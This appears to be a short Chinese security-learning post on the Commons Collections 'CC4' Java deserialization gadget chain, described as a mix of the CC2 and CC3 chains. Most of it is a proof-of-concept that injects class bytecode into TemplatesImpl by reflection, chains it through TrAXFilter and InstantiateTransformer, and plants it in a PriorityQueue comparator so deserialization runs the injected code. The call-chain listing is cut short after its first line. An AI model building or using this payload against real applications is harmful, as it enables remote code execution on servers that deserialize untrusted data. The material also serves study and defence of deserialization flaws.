其实如果搞懂了cc2 和 cc3 两条链,cc4链就没啥难度了,它就是这俩的结合具体分析看cc2 与cc3
cc4调用链
1 | PriorityQueue.readObject() |
贴出poc
//后半段用的是cc3
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class [] {Templates.class},new Object [] {templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//前半段是cc2
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(templates);
queue.add(2);//传入两个参数
Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(comparator,chainedTransformer);//设置参数
//serialize(queue);
unserialize("ser.bin");